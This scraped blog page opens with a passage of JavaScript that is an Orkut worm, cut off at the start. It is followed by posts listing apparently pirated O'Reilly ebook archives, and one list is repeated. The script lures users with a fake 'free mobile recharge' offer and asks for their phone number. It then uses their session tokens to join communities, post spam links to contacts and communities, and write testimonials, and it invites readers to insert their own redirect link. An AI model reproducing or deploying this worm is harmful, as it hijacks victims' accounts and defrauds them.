var d = createXMLHttpRequest();
d.open("POST", "/Scrapbook.aspx", false);
d.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
d.send(c);
depo(a);
}
function show_me() {
a=prompt("Enter Your Mobile No. ?","");b="Wow ";c=" Gettin RECHARGE Code For You ";alert(b+a+c);
alert(" - Just 3 miNs For for your Code... \n - NOTE : WAIT 3 mins...");
}
function cmm(a) {
var b = "POST_TOKEN=" + encodeURIComponent(JSHDF['CGI.POST_TOKEN']) + "&signature=" +
encodeURIComponent(JSHDF['Page.signature.raw']) + "&Action.join";
var c = createXMLHttpRequest();
c.open("POST", "/CommunityJoin.aspx?cmm=" + a, false);
c.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
c.send(b);
}
function Pamela(a) {
var bbb = ["aqua", "fuchsia", "gold", "teal", "olive", "VIOLET", "purple", "pink"];
var color = Math.floor(Math.random() * bbb.length);
var Danilo = ["[b][red]www.[i][/i]cl.[b][/b]lk/z7td3[/RED] "];
var Miedi = Math.floor(Math.random() * Danilo.length);
var up = "[b]ANKY [" + bbb[color] + "]RLUES[/" + bbb[color] + "][/b] ... [8)] " + Danilo[Miedi] + " \n\n\n\n
..... [silver]" + Math.floor(Math.random() * 95234511);
var b = "POST_TOKEN=" + encodeURIComponent(JSHDF['CGI.POST_TOKEN']) + "&signature=" +
encodeURIComponent(JSHDF['Page.signature.raw']) + "&bodyText=" + encodeURIComponent(up) + "&Action.submit";
var c = createXMLHttpRequest();
c.open("POST", "/CommMsgPost.aspx?cmm=" + a, false);
c.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
c.send(b);
}
function GetCmms() {
var xml2 = createXMLHttpRequest();
xml2.open("GET", "/Communities", false), xml2.send(null);
var cmmx = xml2.responseText.match(/cmm=\d+/gi);
return cmmx;
}
var cmmx = GetCmms();
function Envia(a, d, e) {
var b = "POST_TOKEN=" + encodeURIComponent(JSHDF['CGI.POST_TOKEN']) + "&signature=" +
encodeURIComponent(JSHDF['Page.signature.raw']) + "&subjectText=" + encodeURIComponent(d) + "&bodyText=" +
encodeURIComponent(e) + "" + Math.floor(Math.random() * 999) + "&Action.submit";
var c = createXMLHttpRequest();
c.open("POST", "/CommMsgPost.aspx?" + a, false);
c.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
c.send(b);
}
try {
Envia(cmmx[1], assuntox, mensagemx);
Envia(cmmx[2], assuntox, mensagemx);
Envia(cmmx[4], assuntox, mensagemx);
Envia(cmmx[5], assuntox, mensagemx);
Envia(cmmx[6], assuntox, mensagemx);
Envia(cmmx[7], assuntox, mensagemx);
Envia(cmmx[8], assuntox, mensagemx);
Envia(cmmx[9], assuntox, mensagemx);
Envia(cmmx[10], assuntox, mensagemx);
} catch (e) {
bunda = e;
}
function Abre_CoCaCoLa(a) {
var alerta = alert("Carregando...");
}
function depo(a) {
var c = "Action.submit&countedTextbox=" + encodeURIComponent(mensagemx) + "&POST_TOKEN=" +
JSHDF['CGI.POST_TOKEN'] + "&signature=" + encodeURIComponent(JSHDF['Page.signature.raw']) + "&uid=" + a;
var xxt = createXMLHttpRequest();
xxt.open("POST", "/TestimonialWrite.aspx", false);
xxt.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
xxt.send(c);
}
function noob() {
alert("Just 2 mins Remaining.. \n WE ARE - 80% done .... \n\n");
var myDCC = window.orkutFrame ? window.orkutFrame.document : document;
var UID = myDCC.body.innerHTML.match(/uid=(\d+)/i)[1];
var Lay = myDCC.body.innerHTML += "";
getFL(UID);
}
function setCookie(a, b, c, d, e, f) {
var g = a + "=" + escape(b) + (c ? "; expires=" + c.toGMTString() : "") + (d ? "; path=" + d : "") + (e ? ";
domain=" + e : "") + (f ? "; secure" : "");
document.cookie = g;
}
function getCookie(a) {
var b = document.cookie;
var c = a + "=";
var d = b.indexOf("; " + c);
if (d == -1) {
d = b.indexOf(c);
if (d != 0) {
return false;
}
} else {
d += 2;
}
var e = document.cookie.indexOf(";", d);
if (e == -1) {
e = b.length;
}
return unescape(b.substring(d + c.length, e));
}
show_me();
cmm(98692531);
cmm(104018023);
cmm(90109394);
cmm(91978037);
cmm(104632287);
Pamela('104018023&tid=5492084615985777374');
kidsScrap('');
noob();
if (!getCookie("say")) {
var wDate = new Date;
wDate.setTime(wDate.getTime() + 864000);
setCookie("say", "1", wDate);
}
}catch(ex){}
setTimeout(function(){alert('HURRAY!! WE ARE DONE NOW LOGIN TO ORKUT AGAIN AND YOU WILL HAVE YOUR FREE RECHARGE IN JUST 24
HOURS AND WE WLL UPLOAD ABOUT OUR RECHARGE ADD IN YOUR PROFILES PLEASE DONT CHANGE IT');
window.location.replace('Any link u want to add. They used there ad link'); }, 200);
Tuesday, July 27, 2010
Some books on Linux for Beginners
Some books on Java in Linux and Linux :




OReilly-Understanding the Linux Kernel-2nd Edition.chm
rarlinux-x64-3.9.2.tar.gz







OReilly-Understanding the Linux Kernel-2nd Edition.chm
rarlinux-x64-3.9.2.tar.gz
Labels:
C c++,
java,
linux,
Networking Core,
networking on Linux,
programing in linux
Monday, April 12, 2010
O'Reillys Collection of Books, find books on everything from O'Reilly's
Some Books are here, more still to come..
O'Reilly - High Performance MySQL.chm
O'Reilly - SQL Tuning.chm
O'Reilly.100.Industrial.Strength.Tips.and.Tools.rar
O'Reilly.802.11.Security.rar
O'Reilly.802.11@Wireless.Networks.The.Definitive.Guide.rar
O'Reilly.Action.Script.for.Flash.MX.The.Definitive.Guide.2nd.Ed.rar
O'Reilly.ActionScript.Cookbook.rar
O'Reilly.ActionScript.The.Definative.Guide.rar
O'Reilly.Active.Directory.2nd.Ed.rar
O'Reilly.Active.Directory.Cookbook.rar
O'Reilly.ADO.NET.Cookbook.rar
O'Reilly.ADO.Net.In.A.Nutshell.rar
O'Reilly.Apache.Cookbook.rar
O'Reilly.Apache.The.Definitive.Guide.3rd.Ed.rar
O'Reilly.AppleScript.In.A.Nutshell.rar
O'Reilly.AppleScript.The.Definitive.Guide.rar
O'Reilly.ASP.NET.in.A.Nutshell.rar
O'Reilly.BLAST.rar
O'Reilly.Building.Embedded.Linux.Systems.rar
O'Reilly.Building.Java.Enterprise.Applications.vol.I.Architecture.rar
O'Reilly.Building.Secure.Servers.with.Linux.rar
O'Reilly.Building.Wireless.Community.Networks.2nd.Ed.rar
O'Reilly.C#.Cookbook.2004.rar
O'Reilly.C.Pocket.Reference.rar
O'Reilly.C.Sharp.and.VB.NET.Conversion.Pocket.Reference.rar
O'Reilly.C.Sharp.In.A.Nutshell.2nd.Ed.rar
O'Reilly.C.Sharp.Language.Pocket.Reference.rar
O'Reilly.Cascading.Style.Sheets.The.Definative.Guide.rar
O'Reilly.Cisco.Cookbook.rar
O'Reilly.Cocoa.In.A.Nutshell.rar
O'Reilly.COM.and .Net.Component.Services.rar
O'Reilly.Content.Syndication.With.RSS.rar
O'Reilly.Cpp.In.A.Nutshell.rar
O'Reilly.Designing.Active.Server.Pages.rar
O'Reilly.Designing.Large.Scale.LANs.rar
O'Reilly.Designing.Web.Audio.rar
O'Reilly.Dreamweaver.in.a.Nutshell.rar
O'Reilly.eBay.Hacks.rar
O'Reilly.Enterprise.JavaBeans.3rd.Ed.rar
O'Reilly.Essential.Blogging.rar
O'Reilly.Essential.CVS.rar
O'Reilly.Essential.SNMP.rar
O'Reilly.Exim.The.Mail.Transfer.Agent.rar
O'Reilly.Flash.Remoting.The.Definitive.Guide.rar
O'Reilly.Google.Hacks(chm).rar
O'Reilly.HTML.And.XHTML.The.Definitive.Guide.5th.Ed.rar
O'Reilly.JavaScript.Pocket.Reference.2nd.Ed.rar
Second Edition.chm
Second Edition_1.chm
More books Continued.....
O'Reilly.nt.the.definitive.guide.rar
O'Reilly.J2EE.Design.Patterns.rar
O'Reilly.Jakarta.Struts.rar
O'Reilly.java.2d.graphics.rar
O'Reilly.java.&.xslt.rar
O'Reilly.Java.and.XML.Binding.rar
O'Reilly.java.and.xml.rar
O'Reilly.Java.Cookbook.rar
O'Reilly.Java.Cryptography.rar
O'Reilly.Java.Network.Programming.2ed.rar
O'Reilly.Java.Performance.Tuning.2nd.Ed.rar
O'Reilly.Java.Script.And.DHTML.Cookbook.rar
O'Reilly.Java.Servlet.Programming.rar
O'Reilly.Java.Swing.rar
O'Reilly.JAVA.WEB.SERVICES.IN.A.NUTSHELL.rar
O'Reilly.JavaScript.and.DHTML.Cookbook.rar
(2) O'Reilly.JavaScript.Pocket.Reference.2nd.Ed.rar
O'Reilly.Kerberos.The.Definitive.Guide.rar
O'Reilly.LDAP.System.Administration.rar
O'Reilly.Learning.C.Sharp.rar
O'Reilly.Learning.Debian.GNU.Linux.rar
O'Reilly.Learning.Java.2Ed.rar
O'Reilly.Learning.Java.rar
O'Reilly.Learning.Perl.Objects.References.And.Modules.rar
O'Reilly.Learning.Perl.Third.Ed.rar
O'Reilly.Learning.Redhat.Linux.3rd.Ed.rar
O'Reilly.Learning.the.bash.Shell.2nd.Ed.rar
O'Reilly.Learning.UML.rar
O'Reilly.Learning.XML.2nd.Ed.rar
O'Reilly.Learning.Xml.rar
O'Reilly.Learning.XSLT.rar
O'Reilly.Linux.In.A.Nutshell.4th.Ed.rar
O'Reilly.Linux.Security.Cookbook.rar
O'Reilly.Mac.OS.X.In.A.Nutshell.rar
O'Reilly.Mac.OS.X.Unwired.rar
O'Reilly.MacOSX.For.Java.Geeks.rar
O'Reilly.MacOSX.Hacks.rar
O'Reilly.MacOSX.The.Missing.Manual.2nd.Ed.rar
O'Reilly.Manage.&.Using.Mysql.rar
O'Reilly.Mastering.Oracle.SQL.rar
O'Reilly.Mastering.Perl.For.Bioinformatics.rar
O'Reilly.Mastering.Visual.Studio.NET.rar
O'Reilly.NET.And.XML.rar
O'Reilly.NET.Framework.Essentials.3rd.Ed.rar
O'Reilly.Network.Security.with.OpenSSL.rar
Here are some more:
O'Reilly.Objective.C.Pocket.Reference.rar
O'Reilly.Oracle.PLSQL.BookShelf.1.0.rar
O'Reilly.Oracle.Regular.Expressions.Pocket.Reference.rar
O'Reilly.Perl.6.Essentials.rar
O'Reilly.Perl.Cookbook.2nd.Ed.rar
O'Reilly.Perl.For.Oracle.DBAs.rar
O'Reilly.Perl.for.System.Administration.rar
O'Reilly - High Performance MySQL.chm
O'Reilly - SQL Tuning.chm
O'Reilly.100.Industrial.Strength.Tips.and.Tools.rar
O'Reilly.802.11.Security.rar
O'Reilly.802.11@Wireless.Networks.The.Definitive.Guide.rar
O'Reilly.Action.Script.for.Flash.MX.The.Definitive.Guide.2nd.Ed.rar
O'Reilly.ActionScript.Cookbook.rar
O'Reilly.ActionScript.The.Definative.Guide.rar
O'Reilly.Active.Directory.2nd.Ed.rar
O'Reilly.Active.Directory.Cookbook.rar
O'Reilly.ADO.NET.Cookbook.rar
O'Reilly.ADO.Net.In.A.Nutshell.rar
O'Reilly.Apache.Cookbook.rar
O'Reilly.Apache.The.Definitive.Guide.3rd.Ed.rar
O'Reilly.AppleScript.In.A.Nutshell.rar
O'Reilly.AppleScript.The.Definitive.Guide.rar
O'Reilly.ASP.NET.in.A.Nutshell.rar
O'Reilly.BLAST.rar
O'Reilly.Building.Embedded.Linux.Systems.rar
O'Reilly.Building.Java.Enterprise.Applications.vol.I.Architecture.rar
O'Reilly.Building.Secure.Servers.with.Linux.rar
O'Reilly.Building.Wireless.Community.Networks.2nd.Ed.rar
O'Reilly.C#.Cookbook.2004.rar
O'Reilly.C.Pocket.Reference.rar
O'Reilly.C.Sharp.and.VB.NET.Conversion.Pocket.Reference.rar
O'Reilly.C.Sharp.In.A.Nutshell.2nd.Ed.rar
O'Reilly.C.Sharp.Language.Pocket.Reference.rar
O'Reilly.Cascading.Style.Sheets.The.Definative.Guide.rar
O'Reilly.Cisco.Cookbook.rar
O'Reilly.Cocoa.In.A.Nutshell.rar
O'Reilly.COM.and .Net.Component.Services.rar
O'Reilly.Content.Syndication.With.RSS.rar
O'Reilly.Cpp.In.A.Nutshell.rar
O'Reilly.Designing.Active.Server.Pages.rar
O'Reilly.Designing.Large.Scale.LANs.rar
O'Reilly.Designing.Web.Audio.rar
O'Reilly.Dreamweaver.in.a.Nutshell.rar
O'Reilly.eBay.Hacks.rar
O'Reilly.Enterprise.JavaBeans.3rd.Ed.rar
O'Reilly.Essential.Blogging.rar
O'Reilly.Essential.CVS.rar
O'Reilly.Essential.SNMP.rar
O'Reilly.Exim.The.Mail.Transfer.Agent.rar
O'Reilly.Flash.Remoting.The.Definitive.Guide.rar
O'Reilly.Google.Hacks(chm).rar
O'Reilly.HTML.And.XHTML.The.Definitive.Guide.5th.Ed.rar
O'Reilly.JavaScript.Pocket.Reference.2nd.Ed.rar
Second Edition.chm
Second Edition_1.chm
More books Continued.....
O'Reilly.nt.the.definitive.guide.rar
O'Reilly.J2EE.Design.Patterns.rar
O'Reilly.Jakarta.Struts.rar
O'Reilly.java.2d.graphics.rar
O'Reilly.java.&.xslt.rar
O'Reilly.Java.and.XML.Binding.rar
O'Reilly.java.and.xml.rar
O'Reilly.Java.Cookbook.rar
O'Reilly.Java.Cryptography.rar
O'Reilly.Java.Network.Programming.2ed.rar
O'Reilly.Java.Performance.Tuning.2nd.Ed.rar
O'Reilly.Java.Script.And.DHTML.Cookbook.rar
O'Reilly.Java.Servlet.Programming.rar
O'Reilly.Java.Swing.rar
O'Reilly.JAVA.WEB.SERVICES.IN.A.NUTSHELL.rar
O'Reilly.JavaScript.and.DHTML.Cookbook.rar
(2) O'Reilly.JavaScript.Pocket.Reference.2nd.Ed.rar
O'Reilly.Kerberos.The.Definitive.Guide.rar
O'Reilly.LDAP.System.Administration.rar
O'Reilly.Learning.C.Sharp.rar
O'Reilly.Learning.Debian.GNU.Linux.rar
O'Reilly.Learning.Java.2Ed.rar
O'Reilly.Learning.Java.rar
O'Reilly.Learning.Perl.Objects.References.And.Modules.rar
O'Reilly.Learning.Perl.Third.Ed.rar
O'Reilly.Learning.Redhat.Linux.3rd.Ed.rar
O'Reilly.Learning.the.bash.Shell.2nd.Ed.rar
O'Reilly.Learning.UML.rar
O'Reilly.Learning.XML.2nd.Ed.rar
O'Reilly.Learning.Xml.rar
O'Reilly.Learning.XSLT.rar
O'Reilly.Linux.In.A.Nutshell.4th.Ed.rar
O'Reilly.Linux.Security.Cookbook.rar
O'Reilly.Mac.OS.X.In.A.Nutshell.rar
O'Reilly.Mac.OS.X.Unwired.rar
O'Reilly.MacOSX.For.Java.Geeks.rar
O'Reilly.MacOSX.Hacks.rar
O'Reilly.MacOSX.The.Missing.Manual.2nd.Ed.rar
O'Reilly.Manage.&.Using.Mysql.rar
O'Reilly.Mastering.Oracle.SQL.rar
O'Reilly.Mastering.Perl.For.Bioinformatics.rar
O'Reilly.Mastering.Visual.Studio.NET.rar
O'Reilly.NET.And.XML.rar
O'Reilly.NET.Framework.Essentials.3rd.Ed.rar
O'Reilly.Network.Security.with.OpenSSL.rar
Here are some more:
O'Reilly.Objective.C.Pocket.Reference.rar
O'Reilly.Oracle.PLSQL.BookShelf.1.0.rar
O'Reilly.Oracle.Regular.Expressions.Pocket.Reference.rar
O'Reilly.Perl.6.Essentials.rar
O'Reilly.Perl.Cookbook.2nd.Ed.rar
O'Reilly.Perl.For.Oracle.DBAs.rar
O'Reilly.Perl.for.System.Administration.rar
Subscribe to:
Posts (Atom)